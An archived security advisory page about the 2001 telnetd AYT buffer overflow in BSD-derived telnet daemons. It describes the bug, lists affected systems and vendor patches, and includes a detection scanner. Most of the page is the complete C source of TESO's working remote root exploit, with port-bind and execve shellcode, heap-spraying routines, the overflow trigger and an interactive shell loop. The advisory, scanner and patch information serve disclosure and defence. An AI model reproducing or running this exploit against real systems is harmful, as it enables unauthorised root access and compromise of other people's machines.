TUCoPS :: Unix :: General :: telnet1.htm

Telnetd buffer overflows
COMMAND

    telnetd

SYSTEMS AFFECTED

    Multiple vendor Telnet Daemon

PROBLEM

    scut found  following (TESO  Security Advisory).   Within most  of
    the  current  telnet  daemons  in  use  today there exist a buffer
    overflow  in   the  telnet   option  handling.    Under    certain
    circumstances  it  may  be  possible  to  exploit  it to gain root
    priviledges remotely.

    Systems affected:

        System                                  | vulnerable   | exploitable *
        ----------------------------------------+--------------+------------------
		AIX                                     |      yes     |
        BSDI 4.x default                        |      yes     |       yes
        FreeBSD [2345].x default                |      yes     |       yes
        IRIX 6.5                                |      yes     |        no
        Linux netkit-telnetd < 0.14             |      yes     |        ?
        Linux netkit-telnetd >= 0.14            |       no     |
        NetBSD 1.x default                      |      yes     |       yes
        OpenBSD 2.x                             |      yes     |        ?
        OpenBSD current                         |       no     |
        Solaris 2.x sparc                       |      yes     |        ?
        <almost any other vendor's telnetd>     |      yes     |        ?
        ----------------------------------------+--------------+------------------

    * = From  our analysis and  conclusions, which may  not be correct
        or we may have overseen things.  Do not rely on this.

    Through sending  a specially  formed option  string to  the remote
    telnet  daemon  a  remote  attacker  might  be  able  to overwrite
    sensitive  information  on  the  static  memory  pages.   If  done
    properly this  may result  in arbitrary  code getting  executed on
    the remote machine  under the priviledges  the telnet daemon  runs
    on, usually root.

    Within  every  BSD  derived  telnet  daemon  under UNIX the telnet
    options are  processed by  the 'telrcv'  function.   This function
    parses  the  options  according  to  the  telnet  protocol and its
    internal state.  During this  parsing the results which should  be
    send back to  the client are  stored within the  'netobuf' buffer.
    This is  done without  any bounds  checking, since  it is  assumed
    that the  reply data  is smaller  than the  buffer size  (which is
    BUFSIZ bytes, usually).

    However, using a combination of options, especially the 'AYT'  Are
    You There  option, it  is possible  to append  data to the buffer,
    usually nine bytes long.   To trigger this response, two  bytes in
    the input buffer are necessary. Since this input buffer is  BUFSIZ
    bytes  long,  you  can  exceed  the  output  buffer  by as much as
    (BUFSIZ / 2) * 9) - BUFSIZ bytes.  For the common case that BUFSIZ
    is defined to be 1024, this results in a buffer overflow by up  to
    3584 bytes.  On systems where  BUFSIZ is defined to be 4096,  this
    is an even greater value (14336).

    Due to the limited set of characters an attacker is able to  write
    outside of the buffer it is difficult - if not impossible on  some
    systems - to exploit this  buffer overflow.  Another hurdle  for a
    possible attacker may  be the lack  of interesting information  to
    modify after the buffer.

    This buffer  overflow should  be considered  serious nevertheless,
    since experience has  shown that even  complicated vulnerabilities
    can be exploited by skilled attackers, BIND TSIG and SSH  deattack
    come to mind.

    TESO have constructed a working  exploit for any version of  BSDI,
    NetBSD  and  FreeBSD.   Exploitation  on  Solaris  sparc  may   be
    possible but  if it  is, it  is very  difficult involving  lots of
    arcane tricks.  OpenBSD is not as easily exploitable as the  other
    BSD's,  because  they  do  compile  with other options by default,
    changing memory layout.

    /* 7350854 - x86/bsd telnetd remote root exploit
     *
     * TESO CONFIDENTIAL - SOURCE MATERIALS
     *
     * This is unpublished proprietary source code of TESO Security.
     *
     * (C) COPYRIGHT TESO Security, 2001
     * All Rights Reserved
     *
     *****************************************************************************
     * bug found by scut 2001/06/09
     * further research by smiler, zip, lorian and me.
     * thanks to zip's cool friend for giving me a testbed to play on
     *
     * tested against: BSDI BSD/OS 4.1
     *                 NetBSD 1.5
     *                 FreeBSD 3.1
     *                 FreeBSD 4.0-REL
     *                 FreeBSD 4.2-REL
     *                 FreeBSD 4.3-BETA
     *                 FreeBSD 4.3-STABLE
     *                 FreeBSD 4.3-RELEASE
     *
     */

    #define VERSION "0.0.7"

    #include <sys/types.h>
    #include <sys/time.h>
    #include <sys/socket.h>
    #include <netinet/in.h>
    #include <arpa/inet.h>
    #include <arpa/telnet.h>
    #include <netdb.h>
    #include <errno.h>
    #include <fcntl.h>
    #include <unistd.h>
    #include <stdio.h>
    #include <stdlib.h>
    #include <string.h>
    #include <time.h>


    /* global variables, uhhohh!
     */
    int     mode = 16;
    int     num = 245;
    int     pop = 31500;    /* puts code at 0x08fdff0a */
    int     bs = 1;         /* buffer start */

    int     num34 = 244;
    int     pop34 = 71833;  /* puts code at 0x0a0d08fe */
    int     bs34 = 0;

    int     walk;           /* populator walker */
    int     force = 0;      /* force exploitation */
    int     checkonly = 0;  /* check telnetd only */


    void usage (char *progname);
    int xp_check (int fd);
    void xp_pop (int fd);
    void xp_shrinkwin (int fd);
    void xp_setenv (int fd, unsigned char *var, unsigned char *val);
    void xp (int fd);
    void shell (int sock);
    void hexdump (char *desc, unsigned char *data, unsigned int amount);

    /* imported from shellkit */
    unsigned long int random_get (unsigned long int low, unsigned long int high);
    void random_init (void);
    int bad (unsigned char u);
    int badstr (unsigned char *code, int code_len, unsigned char *bad,
            int bad_len);
    unsigned long int x86_nop_rwreg (void);
    unsigned long int x86_nop_xfer (char *xferstr);
    unsigned int x86_nop (unsigned char *dest, unsigned int dest_len,
            unsigned char *bad, int bad_len);

    #define BSET(dest, len, val, bw) { \
            dest &= ~(((unsigned char) ~0) >> bw);  /* clear lower bits */ \
            dest |= val << (8 - bw - len);          /* set value bits */ \
            bw += len; \
    }

    /* imported from network.c */
    #define NET_CONNTIMEOUT 60
    int     net_conntimeout = NET_CONNTIMEOUT;

    unsigned long int net_resolve (char *host);
    int net_connect (struct sockaddr_in *cs, char *server,
            unsigned short int port, int sec);


    /* x86/bsd PIC portshell shellcode
     * by lorian/teso
     * port 0x4444 (might want to change it here)
     */
    unsigned char   x86_bsd_portshell[] =
            "\x31\xdb\xf7\xe3\x53\x43\x53\x43\x53\xb0\x61\x53"
            "\xcd\x80\x96\x52\x66\x68\x44\x44\x66\x53\x89\xe5"
                                    /* ^^  ^^ port */
            "\x6a\x10\x55\x56\x56\x6a\x68\x58\xcd\x80\xb0\x6a"
            "\xcd\x80\x60\xb0\x1e\xcd\x80\x53\x50\x50\xb0\x5a"
            "\xcd\x80\x4b\x79\xf6\x52\x89\xe3\x68\x6e\x2f\x73"
            "\x68\x68\x2f\x2f\x62\x69\x60\x5e\x5e\xb0\x3b\xcd"
            "\x80";

    /* x86/bsd PIC execve shellcode
     * by lorian/teso
     */
    unsigned char   x86_bsd_execvesh[] =
            "\x6a\x3b\x58\x99\x52\x89\xe3\x68\x6e\x2f\x73\x68"
            "\x68\x2f\x2f\x62\x69\x60\x5e\x5e\xcd\x80";

    /* x86/bsd(i)+solaris execve shellcode
     * by lorian/teso
     */
    unsigned char   x86_bsd_compaexec[] =
        "\xbf\xee\xee\xee\x08\xb8\xff\xf8\xff\x3c\xf7\xd0"
        "\xfd\xab\x31\xc0\x99\xb0\x9a\xab\xfc\xab\xb0\x3b"
        "\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89"
        "\xe3\x52\x53\x89\xe1\x52\x51\x53\xff\xd7";


    unsigned char * shellcode = x86_bsd_compaexec;


    #define COL 55


    void
    usage (char *progname)
    {
            fprintf (stderr, "usage: %s [-n <num>] [-c] [-f] <ip>\n\n", progname);
            fprintf (stderr, "-n num\tnumber of populators, for testing purposes\n"
                    "-c\tcheck exploitability only, do not exploit\n"
                    "-f\tforce mode, override check results\n\n");
            fprintf (stderr, "WARNING: this is no easy exploit, we have to get things tightly aligned and\n"
                            "send 16/34mb of traffic to the remote telnet daemon. it might not be able to\n"
                            "take that, or it will take very long for it (> 1h). beware.\n\n");

            fprintf (stderr, "tested:\tFreeBSD 3.1, 4.0-REL, 4.2-REL, 4.3-BETA, 4.3-STABLE, 4.3-RELEASE \n"
                            "\tNetBSD 1.5\n"
                            "\tBSDI BSD/OS 4.1\n\n");

            exit (EXIT_FAILURE);
    }

    int
    main (int argc, char *argv[])
    {
            char                    c;
            char *                  progname;
            char *                  dest;
            int                     i, j, fd,
                                    dots = 0;
            int                     popc;
            struct timeval          start,
                                    cur;
            unsigned long long int  g_pct,  /* gaussian percentage */
                                    g_all;  /* gaussian overall */


            fprintf (stderr, "7350854 - x86/bsd telnetd remote root\n"
                    "by zip, lorian, smiler and scut.\n\n");

            progname = argv[0];
            if (argc < 2)
                    usage (progname);


            while ((c = getopt (argc, argv, "n:cf")) != EOF) {
                    switch (c) {
                    case 'n':
                            num = atoi (optarg);
                            break;
                    case 'c':
                            checkonly = 1;
                            break;
                    case 'f':
                            force = 1;
                            break;
                    default:
                            usage (progname);
                            break;
                    }
            }

            dest = argv[argc - 1];
            if (dest[0] == '-')
                    usage (progname);

            fd = net_connect (NULL, dest, 23, 20);
            if (fd <= 0) {
                    fprintf (stderr, "failed to connect\n");
                    exit (EXIT_FAILURE);
            }

            random_init ();

            if (xp_check (fd) == 0 && force == 0) {
                    printf ("aborting\n");
    #ifndef DEBUG
                    exit (EXIT_FAILURE);
    #endif
            }
            close (fd);

            if (checkonly)
                    exit (EXIT_SUCCESS);

            fd = net_connect (NULL, dest, 23, 20);
            if (fd <= 0) {
                    fprintf (stderr, "failed to connect the second time\n");
                    exit (EXIT_FAILURE);
            }

            printf ("\n#############################################################################\n\n");
            printf ("ok baby, times are rough, we send %dmb traffic to the remote\n"
                    "telnet daemon process, it will spill badly. but then, there is no\n"
                    "other way, sorry...\n\n", mode);

    #ifdef DEBUG
            getchar ();
    #endif
            printf ("## setting populators to populate heap address space\n");

            g_all = ((unsigned long long int)(pop / 2)) *
                            ((unsigned long long int)(pop + 1));
            g_pct = 0;

            printf ("## number of setenvs (dots / network): %d\n", pop);
            printf ("## number of walks (percentage / cpu): %Lu\n", g_all);
            printf ("##\n");
            printf ("## the percentage is more realistic than the dots ;)\n");
            printf ("\n");
            printf ("percent |");

            popc = pop / COL;
            for (i = pop / popc ; i >= 0 ; --i)
                    printf ("-");
            printf ("|      ETA |\n");

            gettimeofday (&start, NULL);

            for (walk = 0 ; walk < pop ; ++walk) {
                    xp_pop (fd);

                    g_pct += walk;

                    if (walk % popc == 0)
                            dots += 1;

                    if (walk % 200 == 0) {
                            int                     pct;
                            float                   pct_f;
                            unsigned long int       diff;

                            pct = (int) ((g_pct * 100) / g_all);
                            pct_f = g_pct * 100;
                            pct_f /= (float) g_all;

                            /* calculate difference not caring about accuracy */
                            gettimeofday (&cur, NULL);
                            diff = cur.tv_sec - start.tv_sec;

                            printf ((pct == 100) ? "\r%3.2f%% |" : ((pct / 10) ?
                                    "\r %2.2f%% |" : "\r  %1.2f%% |"), pct_f);
                            for (j = 0 ; j < dots ; ++j)
                                    printf (".");
                            for ( ; j <= COL ; ++j)
                                    printf (" ");

                            if (pct != 0) {
                                    diff = (int) ((((float)(100 - pct_f)) /
                                            (float) pct_f) * diff);
                                    printf ("| %02lu:%02lu:%02lu |",
                                            diff / 3600, (diff % 3600) / 60,
                                            diff % 60);
                            } else {
                                    printf ("| --:--:-- |");
                            }

                            fflush (stdout);
                    }
            }
            printf ("\n\n");

            printf ("## sleeping for 10 seconds to let the process recover\n");
            sleep (10);

    #ifdef DEBUG
            getchar ();
    #endif
            /* return into 0x08feff0a */
            xp (fd);
            sleep (1);

            printf ("## ok, you should now have a root shell\n");
            printf ("## as always, after hard times, there is a reward...\n");
            printf ("\n\ncommand: ");
            fflush (stdout);

            shell (fd);

            exit (EXIT_SUCCESS);
    }


    void
    xp (int fd)
    {
            int             n;
            unsigned char   buf[2048];


            /* basic overflow */
            for (n = bs ; n < sizeof (buf) ; ++n)
                    buf[n] = (n - bs) % 2 ? '\xf6' : '\xff';

            /* some nifty alignment */
            buf[0] = '\xff';        /* IAC */
            buf[1] = '\xf5';        /* AO  */

            if (mode == 16) {
                    buf[2] = '\xff';        /* IAC */
                    buf[3] = '\xfb';        /* WILL */
                    buf[4] = '\x26';        /* ENCRYPTION */
            }

            /* force 0x08feff0a as return */
            buf[num++] = '\xff';
            buf[num++] = '\xfb';
            buf[num++] = '\x08';

            /* and the output_encrypt overwrite action, yay! */
            buf[num++] = '\xff';
            buf[num++] = '\xf6';

            /* XXX: should not fail here, though we should better loop and check */
            n = send (fd, buf, num, 0);
            if (n != num) {
                    perror ("xp:send");
            }
    }


    #ifdef INSANE_MIND

    void
    xp_shrinkwin (int fd)
    {
            int             n;
            int             iobc;
            int             p = 0;
            unsigned char   buf[2048];
            char            c;
            int             val;
            int             len;

            for (n = 0 ; n < sizeof (buf) ; ++n)
                    buf[n] = n % 2 ? '\xf6' : '\xff';

            len = sizeof (val);
            getsockopt (fd, SOL_SOCKET, SO_SNDLOWAT, &val, &len);
            printf ("SO_SNDLOWAT = %d\n", val);
            val = 1;
            printf ("setsockopt: %s\n",
                    setsockopt (fd, SOL_SOCKET, SO_SNDLOWAT, &val, sizeof(val)) ?
                    "FAILED" : "SUCCESS");
            val = 1234;
            getsockopt (fd, SOL_SOCKET, SO_SNDLOWAT, &val, &len);
            printf ("SO_SNDLOWAT = %d\n", val);

            getchar();
            while (1) {
                    if (p > 105)
                            c = getchar();
                    if (c == 'r') {
                            getchar();
                            read (fd, &buf[1024], 384);
                    } else if (c == 'o') {
                            getchar();
                            send (fd, "7", 1, MSG_OOB);
                    } else if (c != 'r') {
                            usleep(100000);
                            n = send (fd, buf, 112, 0);
                            ioctl (fd, FIONREAD, &iobc);
                            len = sizeof (val);
                            getsockopt (fd, SOL_SOCKET, SO_RCVBUF, &val, &len);
                            printf ("%02d. send: %d  local: %d/%d (%d left)\n",
                                    ++p, n, iobc, val, val - iobc);
                    }
            }
    }
    #endif


    /* xp_pop - populator function
     *
     * causes remote telnet daemon to setenv() variables with our content, populating
     * the heap with shellcode. this will get us more nopspace and place our shellcode
     * where the nice addresses are, that we can create by writing telnet option
     * strings.
     *
     * XXX: there seems to be a maximum size for the environment value you can set,
     *      which is 510. we use 496 bytes for nopspace and shellcode therefore.
     *      should work, rather similar to tsig tcp/malloc exploitation. -sc
     */

    void
    xp_pop (int fd)
    {
            unsigned char   var[16];
            unsigned char   storebuf[496];
            sprintf (var, "%06x", walk);
    #ifdef DEBUG
            memset (storebuf, '\xcc', sizeof (storebuf));
    #else
    /*      memset (storebuf, '\x90', sizeof (storebuf));   */
            x86_nop (storebuf, sizeof (storebuf), "\x00\x01\x02\x03\xff", 5);
            memcpy (storebuf + sizeof (storebuf) - strlen (shellcode) - 1,
                    shellcode, strlen (shellcode));
    #endif
            storebuf[sizeof (storebuf) - 1] = '\0';

            xp_setenv (fd, var, storebuf);
    }


    void
    xp_setenv (int fd, unsigned char *var, unsigned char *val)
    {
            int             n = 0;
            unsigned char   buf[2048];

            buf[n++] = IAC;
            buf[n++] = SB;
            buf[n++] = TELOPT_NEW_ENVIRON;
            buf[n++] = TELQUAL_IS;
            buf[n++] = ENV_USERVAR;

            /* should not contain < 0x04 */
            while (*var) {
                    if (*var == IAC)
                            buf[n++] = *var;
                    buf[n++] = *var++;
            }
            buf[n++] = NEW_ENV_VALUE;
            while (*val) {
                    if (*val == IAC)
                            buf[n++] = *val;
                    buf[n++] = *val++;
            }
            buf[n++] = IAC;
            buf[n++] = SE;

            if (send (fd, buf, n, 0) != n) {
                    perror ("xp_setenv:send");
                    exit (EXIT_FAILURE);
            }
    }


    int
    xp_check (int fd)
    {
            int             n;
            unsigned int    expect_len = 15;
            unsigned char   expected[] =
                    "\x0d\x0a\x5b\x59\x65\x73\x5d\x0d\x0a\xff\xfe\x08\xff\xfd\x26";
                    /* \r  \n  [   Y   e   s   ]   \r  \n IAC DONT 08 IAC DO 26*/
            unsigned int    additional_len = 8;
            unsigned char   additional[] =
                    "\xff\xfa\x26\x01\x01\x02\xff\xf0";
                    /*IAC SB  ENC ........... IAC SE */

            unsigned char   buf[128];

            read (fd, buf, sizeof (buf));

            n = 0;
            buf[n++] = IAC;                 /* 0xff */
            buf[n++] = AYT;                 /* 0xf6 */

            buf[n++] = IAC;                 /* 0xff */
            buf[n++] = WILL;                /* 0xfb */
            buf[n++] = TELOPT_NAOL;         /* 0x08 */

            buf[n++] = IAC;                 /* 0xff */
            buf[n++] = WILL;                /* 0xfb */
            buf[n++] = TELOPT_ENCRYPT;      /* 0x26 */

    #ifdef DEBUG
            hexdump ("check send buffer", buf, n);
    #endif
            if (send (fd, buf, n, 0) != n) {
                    perror ("xp_check:send");
                    exit (EXIT_FAILURE);
            }

            n = read (fd, buf, sizeof (buf));
    #ifdef DEBUG
            hexdump ("check recv buffer", buf, n);
    #endif

            if (memcmp (buf, expected, expect_len) == 0) {
                    if (memcmp (buf+expect_len, additional, additional_len) == 0) {
                            mode = 16;
                    } else {
                            mode = 34;
                            bs = bs34;
                    }
                    printf ("check: PASSED, using %dmb mode\n", mode);

                    return (1);
            }

            printf ("check: FAILED\n");

            return (0);
    }


    void
    shell (int sock)
    {
            int     l;
            char    buf[512];
            fd_set  rfds;


            while (1) {
                    FD_SET (0, &rfds);
                    FD_SET (sock, &rfds);

                    select (sock + 1, &rfds, NULL, NULL, NULL);
                    if (FD_ISSET (0, &rfds)) {
                            l = read (0, buf, sizeof (buf));
                            if (l <= 0) {
                                    perror ("read user");
                                    exit (EXIT_FAILURE);
                            }
                            write (sock, buf, l);
                    }

                    if (FD_ISSET (sock, &rfds)) {
                            l = read (sock, buf, sizeof (buf));
                            if (l <= 0) {
                                    perror ("read remote");
                                    exit (EXIT_FAILURE);
                            }
                            write (1, buf, l);
                    }
            }
    }


    /* ripped from zodiac */
    void
    hexdump (char *desc, unsigned char *data, unsigned int amount)
    {
            unsigned int    dp, p;  /* data pointer */
            const char      trans[] =
                    "................................ !\"#$%&'()*+,-./0123456789"
                    ":;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklm"
                    "nopqrstuvwxyz{|}~...................................."
                    "....................................................."
                    "........................................";


            printf ("/* %s, %u bytes */\n", desc, amount);

            for (dp = 1; dp <= amount; dp++) {
                    fprintf (stderr, "%02x ", data[dp-1]);
                    if ((dp % 8) == 0)
                            fprintf (stderr, " ");
                    if ((dp % 16) == 0) {
                            fprintf (stderr, "| ");
                            p = dp;
                            for (dp -= 16; dp < p; dp++)
                                    fprintf (stderr, "%c", trans[data[dp]]);
                            fflush (stderr);
                            fprintf (stderr, "\n");
                    }
                    fflush (stderr);
            }
            if ((amount % 16) != 0) {
                    p = dp = 16 - (amount % 16);
                    for (dp = p; dp > 0; dp--) {
                            fprintf (stderr, "   ");
                            if (((dp % 8) == 0) && (p != 8))
                                    fprintf (stderr, " ");
                            fflush (stderr);
                    }
                    fprintf (stderr, " | ");
                    for (dp = (amount - (16 - p)); dp < amount; dp++)
                            fprintf (stderr, "%c", trans[data[dp]]);
                    fflush (stderr);
            }
            fprintf (stderr, "\n");

            return;
    }



    unsigned long int
    net_resolve (char *host)
    {
            long            i;
            struct hostent  *he;

            i = inet_addr(host);
            if (i == -1) {
                    he = gethostbyname(host);
                    if (he == NULL) {
                            return (0);
                    } else {
                            return (*(unsigned long *) he->h_addr);
                    }
            }
            return (i);
    }


    int
    net_connect (struct sockaddr_in *cs, char *server,
            unsigned short int port, int sec)
    {
            int                     n,
                                    len,
                                    error,
                                    flags;
            int                     fd;
            struct timeval          tv;
            fd_set                  rset, wset;
            struct sockaddr_in      csa;

            if (cs == NULL)
                    cs = &csa;

            /* first allocate a socket */
            cs->sin_family = AF_INET;
            cs->sin_port = htons (port);
            fd = socket (cs->sin_family, SOCK_STREAM, 0);
            if (fd == -1)
                    return (-1);

            if (!(cs->sin_addr.s_addr = net_resolve (server))) {
                    close (fd);
                    return (-1);
            }

            flags = fcntl (fd, F_GETFL, 0);
            if (flags == -1) {
                    close (fd);
                    return (-1);
            }
            n = fcntl (fd, F_SETFL, flags | O_NONBLOCK);
            if (n == -1) {
                    close (fd);
                    return (-1);
            }

            error = 0;

            n = connect (fd, (struct sockaddr *) cs, sizeof (struct sockaddr_in));
            if (n < 0) {
                    if (errno != EINPROGRESS) {
                            close (fd);
                            return (-1);
                    }
            }
            if (n == 0)
                    goto done;

            FD_ZERO(&rset);
            FD_ZERO(&wset);
            FD_SET(fd, &rset);
            FD_SET(fd, &wset);
            tv.tv_sec = sec;
            tv.tv_usec = 0;

            n = select(fd + 1, &rset, &wset, NULL, &tv);
            if (n == 0) {
                    close(fd);
                    errno = ETIMEDOUT;
                    return (-1);
            }
            if (n == -1)
                    return (-1);

            if (FD_ISSET(fd, &rset) || FD_ISSET(fd, &wset)) {
                    if (FD_ISSET(fd, &rset) && FD_ISSET(fd, &wset)) {
                            len = sizeof(error);
                            if (getsockopt(fd, SOL_SOCKET, SO_ERROR, &error, &len) < 0) {
                                    errno = ETIMEDOUT;
                                    return (-1);
                            }
                            if (error == 0) {
                                    goto done;
                            } else {
                                    errno = error;
                                    return (-1);
                            }
                    }
            } else
                    return (-1);

    done:
            n = fcntl(fd, F_SETFL, flags);
            if (n == -1)
                    return (-1);
            return (fd);
    }


    /* imported from shellkit */

    unsigned long int
    random_get (unsigned long int low, unsigned long int high)
    {
            unsigned long int       val;

            if (low > high) {
                    low ^= high;
                    high ^= low;
                    low ^= high;
            }

            val = (unsigned long int) random ();
            val %= (high - low);
            val += low;

            return (val);
    }


    void
    random_init (void)
    {
            srandom (time (NULL));
    }


    int
    bad (unsigned char u)
    {
            if (u == '\x00' || u == '\x0a' || u == '\x0d' || u == '\x25')
                    return (1);

            return (0);
    }

    int
    badstr (unsigned char *code, int code_len, unsigned char *bad, int bad_len)
    {
            int     n;

            for (code_len -= 1 ; code_len >= 0 ; --code_len) {
                    for (n = 0 ; n < bad_len ; ++n)
                            if (code[code_len] == bad[n])
                                    return (1);
            }

            return (0);
    }

    unsigned long int
    x86_nop_rwreg (void)
    {
            unsigned long int       reg;

            do {
                    reg = random_get (0, 7);
            } while (reg == 4);     /* 4 = $esp */

            return (reg);
    }



    unsigned long int
    x86_nop_xfer (char *xferstr)
    {
            int                     bw = 0; /* bitfield walker */
            unsigned char           tgt;    /* resulting instruction */

            /* in a valid xferstr we trust */
            for (tgt = 0 ; xferstr != NULL && xferstr[0] != '\0' ; ++xferstr) {
                    switch (xferstr[0]) {
                    case ('0'):
                            BSET (tgt, 1, 0, bw);
                            break;
                    case ('1'):
                            BSET (tgt, 1, 1, bw);
                            break;
                    case ('r'):
                            BSET (tgt, 3, x86_nop_rwreg (), bw);
                            break;
                    case ('.'):
                            break;  /* ignore */
                    default:
                            fprintf (stderr, "on steroids, huh?\n");
                            exit (EXIT_FAILURE);
                            break;
                    }
            }

            if (bw != 8) {
                    fprintf (stderr, "invalid bitwalker: bw = %d\n", bw);
                    exit (EXIT_FAILURE);
            }

            return (tgt);
    }


    unsigned int
    x86_nop (unsigned char *dest, unsigned int dest_len,
            unsigned char *bad, int bad_len)
    {
            int     walk;
            int     bcount; /* bad counter */
            char *  xs;
            char *  xferstr[] = {
                    "0011.0111",    /* aaa */
                    "0011.1111",    /* aas */
                    "1001.1000",    /* cbw */
                    "1001.1001",    /* cdq */
                    "1111.1000",    /* clc */
                    "1111.1100",    /* cld */
                    "1111.0101",    /* cmc */
                    "0010.0111",    /* daa */
                    "0010.1111",    /* das */
                    "0100.1r",      /* dec <reg> */
                    "0100.0r",      /* inc <reg> */
                    "1001.1111",    /* lahf */
                    "1001.0000",    /* nop */
                    "1111.1001",    /* stc */
                    "1111.1101",    /* std */
                    "1001.0r",      /* xchg al, <reg> */
                    NULL,
            };
            unsigned char   tgt;


            for (walk = 0 ; dest_len > 0 ; dest_len -= 1 , walk += 1) {
                    /* avoid endless loops on excessive badlisting */
                    for (bcount = 0 ; bcount < 16384 ; ++bcount) {
                            xs = xferstr[random_get (0, 15)];
                            tgt = x86_nop_xfer (xs);

                            dest[walk] = tgt;
                            if (badstr (&dest[walk], 1, bad, bad_len) == 0)
                                    break;
                    }

                    /* should not happen */
                    if (bcount >= 16384) {
                            fprintf (stderr, "too much blacklisting, giving up...\n");
                            exit (EXIT_FAILURE);
                    }
            }

            return (walk);
    }

    Here is the scanner:

    /*
     * Telnetd AYT overflow scanner, by Security Point(R)
     *              Bug found by scut of TESO Security
     *
     * Date: 25/07/01
     * Author: Security Point(R)
     * WWW: http://www.secpoint.com
     * Email: info@secpoint.com
     *
     * This program checks for the AYT overflow realted to the
     * newly discovered telnetd vulnerabilities.
     *
     * Tested agianst:
     *	Vulnerable:
     *		netkit-telnet-0.10
     *              FreeBSD 4.2
     *	Not vulnerable:
     *		netkit-telnet-0.17
     *
     * Please keep us updated whith the os's that you check, and
     * report back to us on info@secpoint.com, weather the system
     * is vulnerable or not. So we can construct a full list
     * of vulnerable systems.
     *
     *
     * This source code is for educational purpose ONLY,
     * Security Point(R) will not be responsible for any damages
     * whatsoever that have a connection with this code. There are
     * no warranties with regard to this information.
     *
     * Are your networks under attack at this moment?
     *
     * With Security Point(R) Scanner you can find and repair the
     * Vulnerabilities before the bad guys get in.
     *
     * Please see http://www.secpoint.com/solutions.php
     *
     */

    #include <stdio.h>
    #include <stdlib.h>
    #include <netinet/in.h>
    #include <netdb.h>
    #include <string.h>
    #include <signal.h>
    #include <unistd.h>
    #include <sys/socket.h>


    struct in_addr addr;
    struct sockaddr_in address;
    struct hostent *host;
    int sock;

    char sendbuffer[5120*2];
    char buffer[5120*2];
    int i;
    int timeout;

    void handle_alarm(int signum) {
        alarm(0);
        timeout=1;
    }

    int main (int argc, char *argv[]) {
        printf("Telnetd AYT overflow scanner, by Security Point(R)\n");
        if (argc!=2) {
	    printf("Usage: %s <host>\n", argv[0]);
	    exit(EXIT_FAILURE);
        }
        printf("Host: %s\n", argv[1]);
        if ((host=gethostbyname(argv[1])) == NULL) {
	    perror("gethostbyname");
	    exit(0);
	    exit(EXIT_FAILURE);
        }
        if (( sock = socket(AF_INET, SOCK_STREAM,0)) < 0) {
	    perror("socket");
	    exit(EXIT_FAILURE);
        }
        bcopy(host->h_addr, (char *)&address.sin_addr, host->h_length);
        address.sin_family=AF_INET;
        address.sin_port = htons(23);  // telnet
        if (connect(sock, (struct sockaddr*)&address, sizeof(address)) < 0) {
	    perror("connect");
	    exit(EXIT_FAILURE);
        }
        printf("Connected to remote host...\n",argv[1]);
        printf("Sending telnet options... stand by...\n");
        signal(SIGALRM,handle_alarm);

        bzero(sendbuffer,sizeof(sendbuffer));
        for (i=0;i!=(sizeof(sendbuffer)/2);i++) {
	    sprintf(sendbuffer,"%s%c%c",sendbuffer,255,246); // 0xff 0xf6 - IAC AYT
        }
        alarm(60);
        read(sock, buffer, sizeof(buffer));
        alarm(0);

        write(sock, sendbuffer, strlen(sendbuffer));

        bzero(buffer,sizeof(buffer));

        alarm(60);
        if (read(sock, buffer, sizeof(buffer)) <=0) {
	    printf("Telnetd on %s vulnerable\n",argv[1]);
	    exit(EXIT_SUCCESS);
        }
        alarm(0);
        printf("Telnetd on %s not vulnerable\n",argv[1]);
        exit(EXIT_SUCCESS);
    }

SOLUTION

    The vendors have been notified of the problem at the same time  as
    the general  public, vendor  patches for  your telnet  daemon that
    fix the bug will show up soon.

    Sometimes a fix might not be trivial and require a lot of  changes
    to  the  source  code,  due  to  the insecure nature the 'nfrontp'
    pointer is  handled.   The best  long term  solution is to disable
    the  telnet  daemon  at  all,  since  there  are  good  and   free
    replacements.

    All  current  versions  of  BSD/OS  are  vulnerable.   Patches are
    available via our web site at

        http://www.bsdi.com/services/support/patches
        ftp://ftp.bsdi.com/bsdi/support/patches

    All released versions of  FreeBSD are vulnerable to  this problem,
    which was fixed in FreeBSD 4.3-STABLE and FreeBSD 3.5.1-STABLE  on
    July 23, 2001.  An advisory has been released, along with a  patch
    to  correct  the  vulnerability  and  a  binary  upgrade   package
    suitable  for  use  on  FreeBSD  4.3-RELEASE  systems.   For  more
    information, see the advisory at the following location:

        ftp://ftp.freebsd.org/pub/FreeBSD/CERT/advisories/FreeBSD-SA-01:49.telnetd.asc
        http://www.freebsd.org/doc/en_US.ISO8859-1/books/handbook/mirrors-ftp.html

    For IBM AIX the temporary fixes can be downloaded via ftp from:

        ftp://aix.software.ibm.com/aix/efixes/security/telnetd_efix.tar.Z

    For Kerberos the recommended approach is to apply the  appropriate
    patches and to rebuild your  telnetd.  Patches for the  krb5-1.2.2
    release may be found at:

        http://web.mit.edu/kerberos/www/advisories/telnetd_122_patch.txt

TUCoPS is optimized to look best in Firefox® on a widescreen monitor (1440x900 or better).
Site design & layout copyright © 1986-2024 AOH